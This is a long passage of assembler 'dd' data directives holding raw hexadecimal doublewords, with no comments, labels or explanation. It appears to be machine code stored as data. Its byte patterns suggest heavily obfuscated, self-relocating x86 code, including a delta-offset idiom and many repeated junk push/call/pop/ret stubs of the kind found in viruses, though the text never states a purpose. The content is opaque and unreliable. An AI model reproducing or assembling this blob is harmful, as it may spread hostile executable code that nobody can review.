		dd 0BD83585Bh, 62B1689h, 50177400h, 4B9B853h, 85890000h
		dd 62B3479h, 0BC7D9D8Dh, 0D3FF062Dh, 8160585Bh,	738677F1h
		dd 5E940h, 50F50000h, 61C2638Eh, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0E7C35343h,	0EE9870Bh, 42000000h
		dd 35CAE3C8h, 8EEFD8E8h, 63558000h, 0E9C08B93h,	10h, 6EE9F2DCh
		dd 81DFDB8Fh, 0AA412929h, 0CDA16FA8h, 0FC18B40h, 689h
		dd 0C9BD2900h, 0EB062B26h, 4, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0DE82D49h
		dd 0B7000000h, 38C76BE4h, 0E534C536h, 333E4396h, 2810Fh
		dd 61600000h, 6E95Fh, 0B61E0000h, 22966262h, 19BD8Bh, 858D062Bh
		dd 62B2FC1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	9CC35747h, 22B8B18Ah, 0BF6691DDh, 6690C8A2h, 6050FB8Bh
		dd 0F525050h, 5B585A31h, 81669061h, 6A9BCBC6h, 0B006A00h
		dd 2B3031B5h, 6850F06h,	8B000000h, 2B28E1B5h, 23858D06h
		dd 29062ECDh, 2B2A99BDh, 5C08306h, 0E1B503F5h, 50062B16h
		dd 310F5250h, 6830Fh, 52500000h, 585A310Fh, 489585Ah, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8936D6A6h, 2B163DB5h, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 70ABC357h
		dd 9E2BA430h, 6A38018Eh, 0A9BD0300h, 0FF062B17h, 2B34E195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BD82DAFh, 2B1B09B5h, 0B5B58B06h, 60062B1Ah
		dd 28E19D29h, 8D8B062Bh, 62B0FD5h, 0AA9D8D61h, 6A062EA6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 72B6C350h, 0FB7CC7Ch, 0D3FFFEBFh,	1E0D85FFh
		dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E913BFC3h, 13h, 4A0258h,	6A8BDD6Ch, 8FAF0E62h
		dd 0E71EC012h, 0E986EC89h, 6BFh, 0E8h, 0ED815D00h, 62ECD2Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 83C35545h
		dd 909B1A65h, 0BD81F8DCh, 62B2909h, 7D0h, 192860Fh, 0DF810000h
		dd 4C1B57CAh, 0AA19D8Bh, 0EE81062Bh, 91051EFh, 100E381h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0A2EB8BC3h, 0F7DE2D2Dh, 8B52A943h, 2B1661BDh
		dd 0BD8B5F06h, 62B2F2Dh, 0BFBBF0Fh
		dd 0C0850FDBh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0DC24C355h,	5DBD8395h
		dd 62ECBh, 2A840Fh, 13E80000h, 90000000h, 6FE43BA9h, 6462982Dh
		dd 0A318C6BAh, 0D26F437Dh, 9D314EB6h, 62B2C6Dh,	9DE95Fh
		dd 8D090000h, 62B2429h,	0CB5D85C7h, 1062Eh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0AE9C60C3h, 0B9BD8B83h, 0E9062B0Ah, 63h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 86C35545h, 0E86008E4h
		dd 9, 6C724615h, 56365B37h, 580AB037h, 1C419531h, 0C761062Bh
		dd 2ECB5D85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0A6B43F5Ah, 8D28F816h
		dd 2B0AA19Dh, 0BDB52306h, 0BE062B18h, 2A7BBC89h, 0FEFF2381h
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 226E32C3h, 0AE9C3h, 8AD0000h, 759F9E4Ah
		dd 4DDDE614h, 68C0Fh, 95890000h, 62B09B9h, 6ADB8C66h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 42EAC351h, 669CB89Bh, 0DD2CE681h, 0F04C3F6h,	2B84h
		dd 49BD8900h, 0E9062B34h, 0Fh, 1C2B3264h, 71D24058h, 8CBFC48Fh
		dd 0FFE540C1h, 2B356995h, 39B58B06h, 90062B08h,	0F28B9050h
		dd 37CE9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 68B0F38h,	8B000000h, 2B0829B5h, 3100B006h
		dd 2B32A1BDh, 8B70E606h, 2B1819B5h, 0F71E406h, 8B66D8B6h
		dd 12810FF0h, 0F000000h, 0C81h,	7E900h,	0D11C0000h, 0C2B28F4Fh
		dd 6BAE1h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0C38B1FC3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0C4C35040h,	0CF1BCDD2h, 0C1E1A0E7h
		dd 85BD8B51h, 5F062B33h, 8B04E8C1h, 2B0695B5h, 0E2F76606h
		dd 2CEDB58Bh, 0D82B062Bh, 785478BFh, 0BF509350h, 2CB5A169h
		dd 53006A93h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 660BC8FAh, 0F98B5794h, 9B5FF5Eh,	6A062B29h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 3E8AC355h, 0E4C757B4h, 294595FFh,	6A062Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 59E76EC3h, 0F564FC31h, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 850168C3h, 62B0651h
		dd 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0E068C3h,	0A0D5522h, 71E461C9h, 29F88B66h
		dd 2B1EC58Dh, 0F613C06h, 1E483h, 0F18B5000h, 0D8B60F5Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DDC35646h
		dd 999B58Bh, 6BA062Bh, 60000000h, 80F6BF0Fh, 8B615AD7h
		dd 0A1BD29C3h, 0C1062B25h, 0BD8B04E8h, 62B04F9h, 2BE2F766h
		dd 55006AD8h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0B58B3808h, 62B1DB1h, 0F7B70F58h, 880FD82Bh
		dd 169h, 8BA751BFh, 7B90Ah, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 5E9104C3h
		dd 0CE8107Dh, 0D6000000h, 2B078195h, 2890C753h,	0F914DA3h
		dd 681h, 880F00h, 5F000000h, 6A00C183h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 7B0CC352h
		dd 152A55C1h, 1F79B58Bh, 0D93B062Bh, 0EF860Fh, 0BD8B0000h
		dd 62B0D65h, 6AD98C66h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 2C68C356h, 0ADCCD29Dh
		dd 4C1F619h, 0B9840Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 63CCA8C3h, 0DE9B8h, 0F0FE0000h
		dd 0BFAF7E5Fh, 0FE5BFF01h, 0FF743141h, 2B356995h, 8D895206h
		dd 62B0069h, 0BD8B5B5Fh, 62B2A6Dh, 6AC32Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0D2DF96C3h
		dd 2D858986h, 0E9062B2Eh, 14h, 5680EBB1h, 38278D89h, 5AEACA16h
		dd 5033E961h, 16B62A7Ch, 8343Dh, 28860F00h, 66000000h
		dd 0E9D18FBFh, 21h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 84C35040h, 8B544F90h,	8BC38BC0h, 9DB589D8h
		dd 8B062B26h, 2B2D41B5h, 7585C706h, 73062B00h, 0E954C31Bh
		dd 0Eh,	4FC1B5BBh, 84F299FFh, 23F0D2D9h, 0C08BB4E7h, 1FCDBD8Bh
		dd 0BD81062Bh, 62B2909h, 7D0h, 35850Fh,	0BD8B0000h, 62B0621h
		dd 290985FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 47733FC3h, 0CB53AF02h, 298D2939h
		dd 0FF062B12h, 2B2909B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 373F5363h
		dd 6499D89h, 0F681062Bh, 216C3538h, 294595FFh, 6A062Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0B5D142C3h, 9C65F51Fh, 0B890D67Dh, 12345678h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 4EC35141h, 118DB503h
		dd 8C0F062Bh, 4, 345BBE66h, 0D3AB9D8Dh,	41E9062Eh, 0E9FFFFF9h
		dd 29h,	3FDAB8E4h, 9 dup(0)
		dd 529E900h, 0C29B0000h, 76ED0A86h, 273D5A56h, 0CB8AE521h
		dd 80D631EDh, 403742BEh, 7DB983D7h, 920E3822h, 0DCD8EC75h
		dd 6BA781C3h, 0FC8E9AB1h, 9192C514h, 593493h, 0C7E1633Ch
		dd 0C781C0C6h, 2D354F32h, 6C88620Fh, 0E71E409Fh, 0F7334F71h
		dd 352DD898h, 59881531h, 0D03B0D52h, 3596324Eh,	1F486EE6h
		dd 8AFDAC90h, 0DCD7598Dh, 12F641A9h, 13E22B5Ch,	28B789CCh
		dd 0F4D7F16Dh, 3BD0A36Ah, 0E8683E02h, 0ACB5D2CEh, 5E031C98h
		dd 0BB9EFD6Ah, 2A710485h, 0CBB51630h, 0DDC86E52h, 953EA904h
		dd 0B2CD3C60h, 1F9BADh,	3F365540h, 0A2ACB219h, 94EBC008h
		dd 6A41DD7Dh, 0EBC0DB66h, 92F2694h, 0C1FB5FA2h,	0E3C8EE66h
		dd 984F3308h, 0BAE8DC65h, 7D96D9B0h, 8154h, 0A79EFD00h
		dd 3B142A81h, 0E2E82123h, 0AE1C781h, 1E174847h,	0EBC078F2h
		dd 0F10D0D94h, 0B85041Ah, 94EBC07Fh, 0C59AF950h, 97162883h
		dd 0B9E49A6Eh, 0D732F650h, 55096660h, 531FBA73h, 0B7D9771h
		dd 1, 0EADA81D7h, 62A7BA01h, 5EADC9FFh,	49574003h, 94EBC0A7h
		dd 0C32844DAh, 594D31CAh, 0F695C202h, 0F38F5C62h, 0BCDB443Ah
		dd 3B47A49Eh, 0CBC2E45Ch, 4D9ABCB4h, 68E1D25Eh,	1099027Ch
		dd 0D9812EB2h, 0A2B904E7h, 45FE49A2h, 0D0352D81h, 0E31FBB8Dh
		dd 1EACC84h, 4BA0A6BAh,	2CD2B64Fh, 0C0F97381h, 1E0094EBh
		dd 58E3648Ch, 5851C932h, 96E44531h, 75F97Dh, 81E50000h
		dd 26C8D4D9h, 5B94EBC0h, 0FD40ABC7h, 818A6167h,	381E9468h
		dd 0F56D8A06h, 0C98A8300h, 0E9C3AC90h, 89D672E6h, 9E6D4B0Ah
		dd 1303B780h, 0F9435C4Bh, 271E7D30h, 3D4BD601h,	94EBBDB3h
		dd 19EF58C6h, 0FFD93933h, 0DEB84B42h, 3E085231h, 0A35C4DEDh
		dd 0DAC7B3DFh, 327F7D97h, 5B000000h, 4E7D981h, 4F9CA0B9h
		dd 0B7FBCF64h, 534E99A3h, 49D13A0Eh, 81FEE240h,	0E2E29DAh
		dd 26B319F2h, 0F94EBC0h, 0CAA4D2B6h, 727D96D9h,	1, 0E5DB815Ch
		dd 0AB5C4B06h, 466169D2h, 0BD9BDDBAh, 1533354Ch, 0D0F46BB6h
		dd 8AACA4FBh, 11F54E21h, 0D5A9AC5Eh, 2AB58BD1h,	0F450FE7Fh
		dd 3319372Bh, 8763CCCEh, 390357F0h, 0F9304CD2h,	0BFB40405h
		dd 0D9810410h, 5DE88AC6h, 3F38BD4Fh, 8C715C6Dh,	6A77D0Fh
		dd 8164A5B5h, 701F3299h, 3F1FCA64h, 6AA3BF6Dh, 0BF7B5D17h
		dd 0E5C6E060h, 3F1F5BE7h, 4539326Dh, 96C1E761h,	0AE5F79FBh
		dd 0FBDD97F0h, 7E8BCD10h, 298E80F4h, 0B31CB869h, 0CAFB7924h
		dd 5A90B9B7h, 3FE8E28Ch, 28B976Dh, 102A2C73h, 0CEF064BBh
		dd 2C1029FDh, 3C6BE645h, 67FE6160h, 0CE77B621h,	9ABCB4FAh
		dd 0B1ED791Eh, 0E91776Bh, 0B6000001h, 6CBF99DBh, 6FBFDBD2h
		dd 7785D21Fh, 8AC6DE72h, 0F3DEDE0Dh, 2C5161BCh,	6CE43B90h
		dd 37314E4Ah, 0ED67BA11h, 0BA91E0CBh, 66457FDFh, 5428D1D8h
		dd 0C4C0E65Eh, 6AFC97D3h, 444F77h, 6F8B0000h, 0F984D320h
		dd 0A83C59Ah, 0EBC08486h, 4AA1B914h, 0EEC88807h, 0C01F913Fh
		dd 0B65914EBh, 4EBF99DBh, 0E453F1D5h, 0DA34408Fh, 0EF94EBC0h
		dd 0B1B9E473h, 0ECD08989h, 0F434031Fh, 0A2008927h, 8CB1h
		dd 1F6FA100h, 3A7785D2h, 558AC6DBh, 0D99BE6C5h,	72EADC2Ch
		dd 0DEB91990h, 0D46A4167h, 21237CB8h, 9B28A407h, 6A6D3FFAh
		dd 0A3FECDEBh, 1ABB9BEh, 746D3FE4h, 0A97D4EEAh,	0EAF6AC90h
		dd 6D3FE440h, 3A892535h, 0EF693D01h, 0EC5CCDC9h, 0CA4C5887h
		dd 0FF730E08h, 33358863h, 49C6B615h, 5532144Ah,	4DED3E0Eh
		dd 3BDFA35Ch, 25BA6F4Ch, 535AFBE9h, 66DE52A2h, 37CB6573h
		dd 0A0BE674Eh, 0D07FE804h, 6E9FA9B5h, 7FDBA062h, 79B5A579h
		dd 0D21F6F65h, 0C98A1685h, 0BE71E7A0h, 52B4C04Fh, 778ADA46h
		dd 0BBBD00EBh, 8F47329Dh, 0A725F87h, 1B742AE3h,	20AC7F59h
		dd 274E453Ah, 0AA00C47Dh, 0F7108CAAh, 910C5B7Dh, 6538F1D7h
		dd 90B4ABE6h, 694F0619h, 20043F82h, 0D8E274CBh,	0C7BBA0F3h
		dd 8F73EA20h, 9BBC591Bh, 0E2C9FF62h, 57EBC05Ch,	0F301AC3Bh
		dd 2B365979h, 279B120Ch, 5DAE88C8h, 130Ah, 0F15EEC00h
		dd 63B3C82h, 0C7B06221h, 6FDA0A14h, 0FB9F0E1Dh,	3E8DC81h
		dd 49A284BCh, 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h
		dd 6DBE9ED9h, 97744A0Eh, 0D8331548h, 1E426808h,	2C890000h
		dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 2414895Ch
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0BA241C89h, 50E747D4h
		dd 70F9BF57h, 0FA09605Fh, 1DC2815Fh, 54952F5Ch,	81241C8Bh
		dd 4C4h, 0BE565200h, 34C71E70h,	4247431h, 8438F5Eh, 70087381h
		dd 8B34C71Eh, 8956241Ch, 4C681E6h, 83000000h, 348704C6h
		dd 148B5C24h, 0E0895024h, 405h,	40500h,	4870000h, 79E95C24h
		dd 0BBFFFCA6h, 0B8E06C55h, 62ED8B1h, 0E0FFC503h, 540E15Dh
		dd 37AFAD9Dh, 344429D9h, 71F27D59h, 7ECDC763h, 15E675F7h
		dd 241B10AEh, 4A20A724h, 765CBEEh, 89491D2h, 304E90FFh
		dd 2C9F422h, 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F6DABC3h, 4EBF7B7h, 0
		dd 0FF8BF0Fh, 0E8Fh, 9E900h, 77E20000h,	4F0DD866h, 0E87996EBh
		dd 14h,	32E88FE5h, 69137C67h, 696BA6B3h, 7074199Bh, 0F4951B03h
		dd 2401BD89h, 8D5F062Bh, 2B2FC185h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 8A266E4Eh
		dd 359F5E63h, 0DDBD01ABh, 0F062B16h, 884h, 8D295600h, 62B09C1h
		dd 9050905Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	47C35242h, 1D95893Ah, 6A062B1Bh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0BEA34391h, 85521A62h, 0BD8B734Fh, 62B1F09h,	858D006Ah
		dd 62EDBF3h, 83F8BF0Fh,	6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 5FA085C3h, 820F50AEh
		dd 0Ah,	46B3BE60h, 8B665D8Fh, 48961CAh,	56006A24h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 6137C2E0h, 89D1365Ch, 2B09C185h, 0F006A06h, 6AF6BFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A2C35040h
		dd 0F9C712F4h, 83EB0A17h, 0BCE732BEh, 0EE85615h, 0E9000000h
		dd 45F1068Bh, 0AF2D24C3h, 4EFE3E74h, 1BD8BCAh, 5F062B01h
		dd 0E195FF5Fh, 6A062B34h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 9190C350h, 0DB84E4B2h
		dd 0AE9B2h, 0E8040000h,	0DDF85151h, 24C907FFh, 0A6AA9D8Dh
		dd 6A062Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0FD89E6C3h, 5ECE1D73h, 291BD8Bh, 0BE9062Bh
		dd 0F6000000h, 22884CB1h, 4B9CEBCDh, 0D3FF3583h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9CC35545h, 19F47F6Bh
		dd 4934891Fh, 0FFF98B2Ah, 2B1E0D85h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 60FB2EA5h
		dd 2860Fh, 59500000h, 2ABD8D89h, 0E961062Bh, 0CB4h, 0E8h
		dd 0ED815D00h, 62EDBFDh, 708ABF66h, 2909BD81h, 7D0062Bh
		dd 860F0000h, 0F9h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0AEC35040h, 599D8B5Ah, 66062B1Fh, 7CD9D781h
		dd 100E381h, 0BD290000h, 62B2CC9h, 850FDB0Bh, 57h, 0DF83BF66h
		dd 0D9A0BD83h, 0F00062Eh, 0B84h, 6BE900h, 0BD890000h, 62B2B4Dh
		dd 0D9A085C7h, 1062Eh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0FE09EBC3h, 3A90A9E7h
		dd 9269F2BEh, 2FE911h, 33BE0000h, 0C740526Ch, 2ED9A085h
		dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0CD94700Fh, 599D8D9Dh, 51062B1Fh
		dd 0D82FCF81h, 815F54C4h, 0FFFEFF23h, 53006AFFh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0B28C7AABh, 8B363211h, 2B1649BDh, 0DB8C6606h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 8DC35545h, 3D5389E4h
		dd 0F04C3F6h, 6584h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 62339350h, 8B1A1EFDh
		dd 2B2169B5h, 0FFF88B06h, 2B356995h, 67BE6606h,	0BE6690DAh
		dd 60502021h, 61FE8B66h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0C4AED767h, 688288ACh
		dd 0EDE9169Ch, 60000003h, 34E58D01h, 850F062Bh,	0
		dd 6A00B061h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0F58DC353h, 35819D89h,	70E6062Bh
		dd 9D8B6057h, 62B2B11h,	5F6157B3h, 6A71E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0ECF67BC3h
		dd 8B971045h, 2B0509B5h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 88C35646h, 5239227Ch, 0B533BF22h
		dd 62B2C85h, 6BAh, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8BFD3C2Ah, 2B0209B5h
		dd 29C38B06h, 2B009185h, 4E8C106h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0A8C35040h,	70B744E9h, 0B58BFFECh
		dd 62B0E7Dh, 6AE2F766h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 958CC353h, 9D89D82Bh
		dd 62B1B99h, 89F08B50h,	6A241Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0A7F371C3h, 0B5FF3B3Fh
		dd 62B2909h, 0C830Fh, 8E0F0000h, 6, 2A718509h, 95FF062Bh
		dd 62B2945h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	17C35040h, 0B0A893h, 0E6FE8B66h, 53006A70h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 79947C5Ah, 0EE22BF66h, 13E9FB8Bh, 1D000000h,	1C40C24Bh
		dd 0F7A30A5Fh, 3A468D6Eh, 9B5A6402h, 71E427D0h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 16C35747h, 318BB24Eh
		dd 3CF0BF0Fh, 1830F61h,	1000002h, 2B2B41BDh, 0D8B60F06h
		dd 0F5B58B60h, 89062B26h, 2B27358Dh, 6BA6106h, 66000000h
		dd 0C38BF28Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0E6C35242h, 0F08B574Ch,	4E8C15Eh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 90C35747h, 1661B58Bh
		dd 0F766062Bh, 0AD9D89E2h, 81062B18h, 57F54CF6h, 6AD82B33h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 81B5C356h, 3EBBBC27h, 0EE9h, 793D4000h, 0BEC9319Ch
		dd 22EF5C48h, 58FF6CFAh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0CBC35141h, 919B58Bh,	0D82B062Bh, 12A880Fh
		dd 0BD8B0000h, 62B2A09h, 7B9h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 81F78B3Eh
		dd 0A480A9DFh, 0C18327h, 32F59D29h, 0D93B062Bh,	0EA860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 9C7597C3h, 0B17EA9ADh, 66FE3F44h,	66EB7CBEh
		dd 0C1F6D98Ch, 0A5840F04h, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0CB0CC350h
		dd 0E6CABA60h, 88467B3Bh, 35BD8589h, 95FF062Bh,	62B3569h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7FC35646h
		dd 0D0B3B3E4h, 819B002Fh, 0E3CEE2F7h, 95895B6Eh, 62B2F09h
		dd 8A0FC32Bh, 6, 3031B503h, 343D062Bh, 0F000008h, 2B86h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 9B2C3EB2h, 15E9FE8Bh, 0BE000000h, 380FBD7Eh
		dd 820FC08Bh, 8, 0F9B50956h, 5E062B0Bh,	0D88BC38Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E2C35646h, 0C4C03821h
		dd 0C6E68060h, 2CFD958Bh, 0C761062Bh, 2B0AA185h, 0A12B1F06h
		dd 56006A7Dh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0F08B667Ch, 0F08BC08Bh, 2909BD81h, 7D0062Bh
		dd 850F0000h, 30h, 290985FFh, 0BE8062Bh, 69000000h, 0D29CD68h
		dd 0A334DB96h, 7E80A79h, 0E6000000h, 6AD008E3h,	8D0F4A39h
		dd 0
		dd 0B5895E5Fh, 62B2AA1h, 2909B5FFh, 6A062Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0C5BFC8C3h
		dd 0F2185F5h, 8Dh, 4595FF00h, 8B062B29h, 2B1B35BDh, 8E906h
		dd 48840000h, 0ABB0DB52h, 409006A8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 77C35646h, 75858915h, 0E8062B35h
		dd 5, 87B272E4h, 7D9D2970h, 5F062B18h, 28B5BD83h, 0F00062Bh
		dd 0EA84h, 12E900h, 0EFD50000h,	20D8A3C5h, 0EB73A366h
		dd 0BB36B68Ah, 0F179C8D8h, 26BDBD83h, 0F00062Bh, 0C684h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 85D1327Ah, 28B595FFh, 8960062Bh,	2B2AB19Dh
		dd 2D958906h, 61062B17h, 840FC00Bh, 8Bh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 3C35242h, 86EAEE2Ch
		dd 0A18D8D20h, 6A062B4Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 3433C357h, 73BB1FFBh
		dd 6A20EC03h, 2C11BD29h, 5B8062Bh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 929FC356h, 8289D57Fh, 2475BD89h, 0E1FF062Bh,	58B0Fh
		dd 0FEBF0000h, 834F5F32h, 2B06F1BDh, 840F0006h,	4EFh, 7BD8D89h
		dd 0BD83062Bh, 62B26BDh, 0DC840F00h, 0F000004h,	28Eh, 1F18B00h
		dd 2B15AD9Dh, 9D8D8D06h, 66062B2Eh, 0F9D81BFh, 1C7F7BFh
		dd 44B27C84h, 89B860FCh, 8B61FCD2h, 2B264D95h, 1816106h
		dd 1499CFCBh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	81C35343h, 41C79214h, 706B3404h, 50006ACEh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 11F5335Ch, 81716EB3h, 0D7100441h, 8E931D6h, 39000000h
		dd 0C4165A41h, 6A5F8E54h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0FE9D60A4h
		dd 18B0Fh, 8BF50000h, 2B0CB5BDh, 9D858D06h, 8B062B2Eh
		dd 2B329DBDh, 8B669006h, 0AE950FBh, 34000000h, 81BF2F55h
		dd 6B32A409h, 6A9085h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 7E9F3C3h, 0AA000000h, 0BED05CBBh
		dd 0AE9EDF1h, 1E000000h, 8F2BC3F2h, 7613135Eh, 0F195FFA6h
		dd 29062B06h, 2B0DD19Dh, 9D8D8D06h, 66062B2Eh, 1C7FE8Bh
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 38C35242h
		dd 17B8ACD4h, 48F9FEC3h, 7BBE6631h, 0C1B58BC8h,	0C7062B0Ch
		dd 441h, 0BD290000h, 62B1C05h, 840FC00Bh, 4Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 41C35545h, 8D8D5293h
		dd 62B4EA1h, 0B0A7DE81h, 7E9470Fh, 0A3000000h, 0D75BC68Fh
		dd 5B88642h, 0F000000h,	689h, 0FDB52B00h, 0FF062B0Eh, 0EE8166E1h
		dd 8D8D960Fh, 62B2E9Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 99C35343h, 7867FE89h,	0BD89CD31h, 62B2B5Dh
		dd 765B589h, 1C7062Bh, 44AA727Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 67C35343h, 11A55943h, 858510C3h
		dd 58B0FF8h, 66000000h,	0AB5DD781h, 0CFCB0181h,	41C71499h
		dd 78753C04h, 44181CEh,	31D6D710h, 63D9501h, 0B70F062Bh
		dd 1006AF1h, 2B05C18Dh,	9D858D06h, 60062B2Eh, 6BC68166h
		dd 998D8B49h, 61062B01h, 905090F9h, 0E856006Ah,	3, 5EC35E20h
